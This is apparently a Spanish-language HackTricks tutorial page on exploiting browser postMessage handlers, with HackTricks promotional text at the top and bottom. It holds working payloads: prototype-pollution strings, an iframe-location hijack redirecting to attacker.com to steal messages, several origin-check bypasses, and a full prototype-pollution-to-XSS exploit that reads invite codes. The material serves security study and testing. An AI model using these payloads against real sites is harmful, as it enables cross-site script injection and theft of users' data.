.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Vulnerabilidades de PostMessage
Vulnerabilidades de PostMessage
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Enviar PostMessage
PostMessage utiliza la siguiente función para enviar un mensaje:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Tenga en cuenta que targetOrigin puede ser un '*' o una URL como https://company.com.
En el segundo escenario, el mensaje solo se puede enviar a ese dominio (incluso si el origen del objeto window es diferente).
Si se utiliza el comodín, los mensajes podrían enviarse a cualquier dominio y se enviarán al origen del objeto Window.
Atacando iframe & comodín en targetOrigin
Como se explica en este informe si encuentra una página que puede ser iframed (sin protección X-Frame-Header
) y que está enviando mensajes sensibles a través de postMessage usando un comodín (*), puede modificar el origen del iframe y filtrar el mensaje sensible a un dominio controlado por usted.
Note que si la página puede ser iframed pero el targetOrigin está establecido en una URL y no en un comodín, este truco no funcionará.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Explotación de addEventListener
addEventListener
es la función utilizada por JS para declarar la función que está esperando postMessages
.
Se utilizará un código similar al siguiente:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Tenga en cuenta cómo lo primero que hace el código es verificar el origen. Esto es tremendamente importante, especialmente si la página va a hacer algo sensible con la información recibida (como cambiar una contraseña). Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos puntos finales y cambiar las contraseñas de las víctimas (en este ejemplo).
Enumeración
Para encontrar oyentes de eventos en la página actual, puede:
- Buscar en el código JS
window.addEventListener
y$(window).on
(versión JQuery) - Ejecutar en la consola de herramientas para desarrolladores:
getEventListeners(window)
- Ir a Elementos --> Oyentes de Eventos en las herramientas para desarrolladores del navegador
- Usar una extensión de navegador como https://github.com/benso-io/posta o https://github.com/fransr/postMessage-tracker. Estas extensiones de navegador interceptarán todos los mensajes y te los mostrarán.
Bypasses de verificación de origen
event.isTrusted
es verdadero cuando el evento fue generado por una acción del usuario. No es realmente evitable si se coloca correctamente, pero vale la pena mencionarlo.- Si se usa
indexOf()
para verificar el origen del evento PostMessage, recuerde que se puede eludir fácilmente como en el siguiente ejemplo:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Si se utiliza
search()
para validar el origen podría ser inseguro. Según la documentación deString.prototype.search()
, el método toma un objeto de expresión regular en lugar de una cadena. Si se pasa algo que no sea regexp, se convertirá implícitamente en una regex.
En expresión regular, un punto (.) se trata como comodín. Un atacante puede aprovecharlo y usar un dominio especial en lugar del oficial para eludir la validación, como en:
"https://www.safedomain.com".search("www.s.fedomain.com")
- Al igual que en el ejemplo anterior,
match()
también verifica una regex, por lo que si la regex está mal formada podría ser bypasseable. - Si se utiliza la función
escapeHtml
, la función no crea un objetonew
escapado, sino que sobrescribe propiedades del objeto existente. Esto significa que si podemos crear un objeto con una propiedad controlada que no responde ahasOwnProperty
, no será escapado.
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
El objeto File
es perfecto para este exploit ya que tiene una propiedad name
de solo lectura que es utilizada por nuestra plantilla y evitará la función escapeHtml
.
e.origin == window.origin bypass
Cuando una página está incrustada en un iframe con sandbox a través de <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
, el origin de ese iframe será null
.
Cuando se establece el valor de sandbox allow-popups
, entonces el popup abierto heredará todos los atributos con sandbox a menos que se establezca allow-popups-to-escape-sandbox
.
Por lo tanto, abrir un popup desde un origin null hará que window.origin
dentro del popup también sea null
.
Por lo tanto, si abres un iframe con sandbox permitiendo popups, y luego abres un popup desde dentro del iframe, y envías un postMessage desde el iframe al popup, ambos origins son null, por lo que: e.origin == window.origin == null
Para más información lee:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Bypassing e.source
Es posible verificar si el mensaje provino de la misma ventana en la que el script está escuchando (especialmente interesante para Content Scripts de extensiones de navegador para verificar si el mensaje fue enviado desde la misma página):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Puede forzar que e.source
de un mensaje sea nulo creando un iframe que envía el postMessage y es eliminado inmediatamente.
Para más información lea:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Bypass de X-Frame-Header
Para realizar estos ataques idealmente podrá poner la página web de la víctima dentro de un iframe
. Pero algunos encabezados como X-Frame-Header
pueden prevenir ese comportamiento.
En esos escenarios aún puede usar un ataque menos sigiloso. Puede abrir una nueva pestaña hacia la aplicación web vulnerable y comunicarse con ella:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Robo de mensaje enviado al hijo bloqueando la página principal
En la siguiente página puedes ver cómo podrías robar datos sensibles de postmessage enviados a un iframe hijo al bloquear la página principal antes de enviar los datos y abusar de un XSS en el hijo para filtrar los datos antes de que sean recibidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Robo de mensaje modificando la ubicación del iframe
Si puedes incluir en un iframe una página web sin el encabezado X-Frame-Header que contiene otro iframe, puedes cambiar la ubicación de ese iframe hijo, así que si está recibiendo un postmessage enviado usando un comodín, un atacante podría cambiar el origen de ese iframe a una página controlada por él y robar el mensaje:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage a Contaminación de Prototipo y/o XSS
En escenarios donde los datos enviados a través de postMessage
son ejecutados por JS, puedes incluir en un iframe la página y explotar la contaminación de prototipo/XSS enviando el exploit a través de postMessage
.
Un par de XSS muy bien explicados a través de postMessage
se pueden encontrar en https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Ejemplo de un exploit para abusar de Contaminación de Prototipo y luego XSS a través de un postMessage
a un iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Para más información:
- Enlace a la página sobre contaminación de prototipos
- Enlace a la página sobre XSS
- Enlace a la página sobre contaminación de prototipos en el cliente a XSS
Referencias
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Para practicar: https://github.com/yavolo/eventlistener-xss-recon
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.